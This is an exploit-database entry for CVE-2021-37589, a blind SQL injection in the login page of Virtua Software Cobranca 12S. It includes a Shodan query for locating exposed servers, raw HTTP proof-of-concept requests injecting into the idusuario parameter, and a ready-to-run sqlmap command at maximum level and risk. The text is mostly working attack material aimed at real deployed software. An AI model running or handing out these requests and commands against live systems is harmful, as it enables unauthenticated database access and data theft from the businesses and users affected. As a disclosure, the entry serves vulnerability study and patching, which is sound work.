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Virtua Software Cobranca 12S - SQL injection Vulnerability
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[Security Risk High
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# Exploit Title: Virtua Software Cobranca 12S - SQLi # Shodan Query: http.favicon.hash:876876147 # Exploit Author: Luca Regne # Vendor Homepage: https://www.virtuasoftware.com.br/ # Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe # Version: 12S # Tested on: Windows Server 2019 # CVE : CVE-2021-37589 ------------------------------------------------------------------------ ## Description A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter. ## Request PoC ``` POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID= idusuario='&idsenha=awesome_and_unprobaly_password&tipousr=Usuario ``` This request causes an error 500. Changing the idusuario to "'+AND+'1'%3d'1'--" the response to request was 200 status code with message of authentication error. ``` POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID= idusuario='+AND+'1'='1'--&idsenha=a&tipousr=Usuario ``` ## Exploit Save the request from burp to file ```bash python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent ``` # 0day.today [2024-11-15] #